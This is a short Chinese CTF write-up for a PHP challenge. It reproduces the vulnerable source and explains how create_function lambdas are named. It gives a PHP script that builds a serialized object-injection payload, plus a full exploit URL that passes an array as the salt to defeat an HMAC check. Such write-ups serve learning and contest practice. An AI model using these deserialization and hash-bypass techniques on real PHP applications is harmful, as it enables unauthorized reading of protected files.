这次振兴杯碰到的一道题,某些姿势之前貌似没有碰过,简单记一下吧
源码
<?php
class Bird{
public $funcs;
public $salt;
public $flag;
function say_flag(){
$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){
show_source("/flag");
}
}
function __destruct(){
$self_func=$this->funcs;
$self_func();
}
}
if(isset($_GET['p'])){
$funcs = create_function("","unserialize(\$_GET['d']);");
$_GET['p']();
}else{
show_source(__FILE__);
}
create_function("","unserialize(\$_GET['d']);");
的考点是利用匿名函数,可以参考:https://www.cnblogs.com/leixiao-/p/9818602.html
create_function
的匿名函数也是有名字的,名字是\x00lambda_%d
,其中%d
代表他是当前进程中的第几个匿名函数。调用匿名函数,传入d
参数进行反序列化
构造POC
<?php
class Bird{
public $funcs;
public $salt;
public $flag;
function say_flag(){
echo "-------say_flag-------";
// $secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
// $hmac = hash_hmac('sha256', $_GET['password'], $secret);
// if($_GET['mac'] === $hmac){
// show_source("/flag");
// }
}
function __destruct(){
$self_func=$this->funcs;
$self_func();
}
}
$Bird = new Bird();
$Bird->funcs = [new Bird(),'say_flag'];
echo urlencode(serialize($Bird));
?>
而哈希处理,对$_GET['salt']
传数组即可,使得$secret
为NULL
,进而使得$hmac
可控
?p=%00lambda_1&d=O%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A4%3A%22Bird%22%3A3%3A%7Bs%3A5%3A%22funcs%22%3BN%3Bs%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22say_flag%22%3B%7Ds%3A4%3A%22salt%22%3BN%3Bs%3A4%3A%22flag%22%3BN%3B%7D&salt[]=&password=mochu7&mac=c35b38d9886ca1852ac7a27a016721bf3de37a2c9231d96bc89ee3ab4d366067